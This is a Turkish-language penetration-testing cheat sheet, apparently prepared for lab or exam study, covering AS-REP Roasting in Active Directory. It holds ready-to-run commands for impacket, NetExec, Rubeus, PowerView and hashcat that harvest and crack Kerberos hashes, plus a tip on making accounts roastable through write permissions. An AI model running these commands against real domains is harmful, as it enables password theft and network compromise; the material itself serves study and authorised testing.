FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE orta :88:389

AS-REP Roasting

Kerberos ön kimlik doğrulaması (pre-authentication) devre dışı bırakılmış (DONT_REQ_PREAUTH) hesaplar için AS-REP yanıtındaki şifreli bloğu çekip offline kırma. impacket-GetNPUsers, netexec --asreproast, Rubeus asreproast ile toplanır; hashcat -m 18200 ile kırılır.

Bilgi: ÖN KOŞULLAR
  • Geçerli kullanıcı listesi (kimliksiz senaryo) VEYA düşük yetkili bir domain hesabı (kimlikli senaryo)
  • DC'ye Kerberos (88/TCP) erişimi
  • Domain ({{DOMAIN}}) ve DC IP ({{DC_IP}})
  • Saat senkronizasyonu (clock skew < 5 dk)
┌──

Komutlar

impacket ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash
KİMLİKSİZ AS-REP roast: kullanıcı listesindeki pre-auth devre dışı hesapların AS-REP hash'lerini -no-pass ile toplar. -format hashcat doğrudan -m 18200 formatı verir. WADComs - Impacket GetNPUsers (AS-REP Roasting)
impacket ✓ EXAM-SAFE user
impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -format hashcat -outputfile asrep.hash
KİMLİKLİ senaryo: geçerli hesapla LDAP'ı sorgulayıp DONT_REQ_PREAUTH bayraklı tüm hesapları otomatik bulur ve -request ile AS-REP'lerini ister. Kullanıcı listesi gerekmez. The Hacker Recipes - AS-REP Roasting (Impacket)
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --asreproast asrep.hash
NetExec LDAP modülü ile pre-auth devre dışı hesapları enumerate edip AS-REP hash'lerini asrep.hash dosyasına yazar. Tek satırda enum + roast. NetExec Wiki - LDAP --asreproast
rubeus ✓ EXAM-SAFE user
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash /nowrap
Windows tarafı (domain bağlamında): mevcut domain context'te pre-auth devre dışı hesaplar için AS-REP roast. /nowrap satır kaydırmayı engeller, hashcat'e doğrudan verilebilir. GhostPack Rubeus - asreproast
hashcat ✓ EXAM-SAFE
hashcat -m 18200 asrep.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule
AS-REP hash'lerini (Kerberos 5 AS-REP etype 23) kırar. Mod 18200, best64 kuralı ile sözlük varyasyonlarını dener. hashcat Wiki - Mode 18200 (Kerberos 5 AS-REP etype 23)
powerview ✓ EXAM-SAFE user
Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol | fl
Windows tarafı enum: DONT_REQ_PREAUTH (0x400000) bayraklı hesapları PowerView ile listeler. Roast hedeflerini doğrulamak için. HackTricks - AS-REP Roasting (PowerView enum)

Teori: Pre-Authentication Nedir?

Kerberos’ta normalde bir kullanıcı TGT istemeden önce kimliğini kanıtlamak için bir AS-REQ içinde, kendi NT hash’i ile şifrelenmiş bir zaman damgası (pre-auth data) gönderir. DC bu bloğu çözebilirse kimlik doğrulanır. Ancak bir hesabın userAccountControl özelliğinde DONT_REQ_PREAUTH (0x400000) bayrağı ayarlıysa, DC pre-auth istemeden doğrudan bir AS-REP döner. Bu AS-REP’in bir kısmı kullanıcının NT hash’inden türetilen anahtarla şifrelidir. Saldırgan bu bloğu kimlik doğrulamadan alıp offline olarak kırarak parolayı elde edebilir.

Adım 1: Hedef Hesapları Bul

İki senaryo vardır:

  • Kimliksiz (no creds): Elinizde sadece kullanıcı listesi var. impacket-GetNPUsers ... -no-pass -usersfile users.txt her kullanıcı için AS-REQ deneyip pre-auth gerektirmeyenlerin AS-REP’ini yakalar. Listeyi ad-userenum’dan alın.
  • Kimlikli (with creds): Düşük yetkili bir hesabınız var. -request ile LDAP’ı sorgulayıp DONT_REQ_PREAUTH bayraklı hesapları otomatik bulursunuz; nxc ldap --asreproast veya Rubeus asreproast aynısını yapar.

Adım 2: AS-REP Hash’lerini Topla

Çıktı $krb5asrep$23$user@DOMAIN:... formatındadır. -format hashcat / /format:hashcat kullanın ki doğrudan hashcat mode 18200’e verilebilsin. -outputfile ile dosyaya yazın.

Adım 3: Offline Kır

hashcat -m 18200 ile sözlük + kural saldırısı uygulayın. Bu işlem offline’dır, DC’ye trafik üretmez, kilitleme riski yoktur. Kırılan parola domain kullanıcı parolasıdır ve doğrudan kullanılabilir (ad-spray reuse, ad-bloodhound).

Gotchas

  • Clock skew: Kerberos işlemidir; DC ile saat farkı 5 dk’yı geçerse KRB_AP_ERR_SKEW. sudo ntpdate {{DC_IP}} ile düzeltin.
  • etype farkı: Nadiren AS-REP RC4 (etype 23, mode 18200) yerine AES (etype 17/18) döner; o durumda hashcat modu değişir. Çoğu lab RC4 döner.
  • Çok düşük başarı: DONT_REQ_PREAUTH yaygın değildir; çoğu domainde 0-2 hesap bulunur. Bulamazsanız ad-kerberoast’a geçin (SPN’li hesaplar çok daha yaygın).
  • -no-pass anonim sorgu: Bazı sertleştirilmiş domainlerde anonim AS-REQ engellidir; o zaman kimlikli -request yöntemine geçin.
  • GenericWrite ile zorla AS-REP roast: Bir hesap üzerinde yazma yetkiniz varsa userAccountControl’e DONT_REQ_PREAUTH ekleyip o hesabı roast edilebilir hale getirebilirsiniz (targeted AS-REP roasting) — ad-acl-abuse ile birlikte.
┌──

Kaynaklar

0/15 set